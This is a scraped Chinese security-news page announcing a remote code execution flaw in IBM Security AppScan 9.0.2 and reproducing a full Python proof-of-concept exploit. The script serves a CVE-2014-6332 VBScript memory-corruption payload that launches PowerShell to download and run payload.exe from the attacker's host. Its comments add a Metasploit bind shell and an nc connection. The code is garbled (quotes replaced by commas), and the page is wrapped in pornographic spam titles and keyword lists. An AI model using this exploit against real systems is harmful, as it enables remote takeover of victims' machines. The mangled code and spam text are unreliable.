成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

IBM Security AppScan 9.0.2遠(yuǎn)程代碼執(zhí)行漏洞(含POC)

安全
IBM Security AppScan Standard是美國(guó)IBM公司的一套Web應(yīng)用的安全測(cè)試工具。該工具可在應(yīng)用開(kāi)發(fā)生命周期中進(jìn)行自動(dòng)化動(dòng)態(tài)和靜態(tài)安全漏洞掃描。該漏洞基于Windows OLE自動(dòng)化數(shù)組遠(yuǎn)程代碼執(zhí)行漏洞,遠(yuǎn)程攻擊者可利用此漏洞執(zhí)行任意代碼。

IBM Security AppScan Standard是美國(guó)IBM公司的一套Web應(yīng)用的安全測(cè)試工具。該工具可在應(yīng)用開(kāi)發(fā)生命周期中進(jìn)行自動(dòng)化動(dòng)態(tài)和靜態(tài)安全漏洞掃描。該漏洞基于Windows OLE自動(dòng)化數(shù)組遠(yuǎn)程代碼執(zhí)行漏洞,遠(yuǎn)程攻擊者可利用此漏洞執(zhí)行任意代碼。

IBM Security AppScan 9.0.2遠(yuǎn)程代碼執(zhí)行漏洞(含POC)

視頻演示

漏洞POC

#!/usr/bin/pythonimport BaseHTTPServer, socket

### IBM Security AppScan Standard OLE Automation Array Remote Code Execution## Author: Naser Farhadi# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909## Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7## Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/ # if you able to exploit IE then you can exploit appscan and acunetix ;)# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And# Metasploit windows/shell_bind_tcp Executable Payload## Usage:#       chmod +x appscan.py#       ./appscan.py## Video: http://youtu.be/hPs1zQaBLMU       ...#       nc 172.20.10.14 333##class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(req):
        req.send_response(200)
        if req.path == "/payload.exe":
            req.send_header(,Content-type,, application/exe,)
            req.end_headers()
            exe = open("payload.exe", rb,)
            req.wfile.write(exe.read())
            exe.close()
        else:
            req.send_header(,Content-type,, text/html,)
            req.end_headers()
            req.wfile.write("""Please scan me!
                            <SCRIPT LANGUAGE="VBScript">
                            function runmumaa() 
                            On Error Resume Next
                            set shell=createobject("Shell.Application")
                            command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(,http://"""+socket.gethostbyname(socket.gethostname())+"""/payload.exe,,\
                            ,payload.exe,);$(New-Object -com Shell.Application).ShellExecute(,payload.exe,);"
                            shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
                            end function

                            dim   aa()
                            dim   ab()
                            dim   a0
                            dim   a1
                            dim   a2
                            dim   a3
                            dim   win9x
                            dim   intVersion
                            dim   rnda
                            dim   funclass
                            dim   myarray

                            Begin()

                            function Begin()
                              On Error Resume Next
                              info=Navigator.UserAgent

                              if(instr(info,"Win64")>0)   then
                                 exit   function
                              end if

                              if (instr(info,"MSIE")>0)   then 
                                         intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
                              else
                                 exit   function  
                                         
                              end if

                              win9x=0

                              BeginInit()
                              If Create()=True Then
                                 myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                                 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

                                 if(intVersion<4) then
                                     document.write("<br> IE")
                                     document.write(intVersion)
                                     runshellcode()                    
                                 else  
                                      setnotsafemode()
                                 end if
                              end if
                            end function

                            function BeginInit()
                               Randomize()
                               redim aa(5)
                               redim ab(5)
                               a0=13+17*rnd(6)
                               a3=7+3*rnd(5)
                            end function

                            function Create()
                              On Error Resume Next
                              dim i
                              Create=False
                              For i = 0 To 400
                                If Over()=True Then
                                ,   document.write(i)     
                                   Create=True
                                   Exit For
                                End If 
                              Next
                            end function

                            sub testaa()
                            end sub

                            function mydata()
                                On Error Resume Next
                                 i=testaa
                                 i=null
                                 redim  Preserve aa(a2)  
                              
                                 ab(0)=0
                                 aa(a1)=i
                                 ab(0)=6.36598737437801E-314

                                 aa(a1+2)=myarray
                                 ab(2)=1.74088534731324E-310  
                                 mydata=aa(a1)
                                 redim  Preserve aa(a0)  
                            end function 


                            function setnotsafemode()
                                On Error Resume Next
                                i=mydata()  
                                i=readmemo(i+8)
                                i=readmemo(i+16)
                                j=readmemo(i+&h134)  
                                for k=0 to &h60 step 4
                                    j=readmemo(i+&h120+k)
                                    if(j=14) then
                                          j=0          
                                          redim  Preserve aa(a2)             
                                 aa(a1+2)(i+&h11c+k)=ab(4)
                                          redim  Preserve aa(a0)  

                                 j=0 
                                          j=readmemo(i+&h120+k)   
                                     
                                           Exit for
                                       end if

                                next 
                                ab(2)=1.69759663316747E-313
                                runmumaa() 
                            end function

                            function Over()
                                On Error Resume Next
                                dim type1,type2,type3
                                Over=False
                                a0=a0+a3
                                a1=a0+2
                                a2=a0+&h8000000
                              
                                redim  Preserve aa(a0) 
                                redim   ab(a0)     
                              
                                redim  Preserve aa(a2)
                              
                                type1=1
                                ab(0)=1.123456789012345678901234567890
                                aa(a0)=10
                                      
                                If(IsObject(aa(a1-1)) = False) Then
                                   if(intVersion<4) then
                                       mem=cint(a0+1)*16             
                                       j=vartype(aa(a1-1))
                                       if((j=mem+4) or (j*8=mem+8)) then
                                          if(vartype(aa(a1-1))<>0)  Then    
                                             If(IsObject(aa(a1)) = False ) Then             
                                               type1=VarType(aa(a1))
                                             end if               
                                          end if
                                       else
                                         redim  Preserve aa(a0)
                                         exit  function

                                       end if 
                                    else
                                       if(vartype(aa(a1-1))<>0)  Then    
                                          If(IsObject(aa(a1)) = False ) Then
                                              type1=VarType(aa(a1))
                                          end if               
                                        end if
                                    end if
                                end if
                                          
                                
                                If(type1=&h2f66) Then         
                                      Over=True      
                                End If  
                                If(type1=&hB9AD) Then
                                      Over=True
                                      win9x=1
                                End If  

                                redim  Preserve aa(a0)          
                                    
                            end function

                            function ReadMemo(add) 
                                On Error Resume Next
                                redim  Preserve aa(a2)  
                              
                                ab(0)=0   
                                aa(a1)=add+4     
                                ab(0)=1.69759663316747E-313       
                                ReadMemo=lenb(aa(a1))  
                               
                                ab(0)=0    
                             
                                redim  Preserve aa(a0)
                            end function

                            </script>""")if __name__ == __main__,:
    sclass = BaseHTTPServer.HTTPServer
    server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
    print "Http server started", socket.gethostbyname(socket.gethostname()), 80
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    server.server_close()

 

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2012-11-30 10:29:47

2015-04-30 08:11:40

2015-03-06 15:31:01

2021-01-26 10:00:45

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2012-08-05 16:57:13

2014-09-12 17:47:36

2014-08-27 16:22:19

2019-05-15 15:20:01

微軟漏洞防護(hù)

2011-08-04 13:53:04

2020-10-08 13:44:27

漏洞

2017-08-22 13:45:27

2023-12-14 16:20:09

2013-07-11 09:25:49

2010-01-25 11:37:30

2010-01-26 11:12:09

2015-04-16 09:49:04

2017-08-15 17:39:52

2022-08-10 12:01:50

DrayTek路由器漏洞

2015-06-18 10:49:31

2013-05-22 10:28:19

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 久99久视频 | 国产 欧美 日韩 一区 | 爱爱爱av | 欧美aaaa视频 | 亚洲国产二区 | 日韩精品一区二区三区视频播放 | 91精品国产综合久久精品图片 | 亚洲精品www久久久久久广东 | 97超碰成人 | www.欧美.com| 精品综合网 | 在线观看视频你懂得 | 第四色影音先锋 | 国产电影一区二区三区爱妃记 | 黄色一级毛片 | 国内自拍视频在线观看 | 精品一区二区视频 | 超碰成人免费 | 玖玖视频国产 | 亚洲综合日韩精品欧美综合区 | 欧美综合一区 | 自拍偷拍亚洲视频 | 亚洲精品在线免费 | 日韩欧美在线观看 | 国产aⅴ精品 | 免费黄色a视频 | av一区二区三区 | 亚洲福利在线视频 | 激情在线视频网站 | 日韩天堂av | 国产福利精品一区 | 国产精品久久久久无码av | 1204国产成人精品视频 | 嫩草网| 久久精品a | 久久久久久久久久久久久九 | 日日操夜夜操视频 | 国产精品久久久久久久久久免费看 | 国产精品1区2区 | 日韩在线一区二区三区 | 亚洲国产精品久久人人爱 |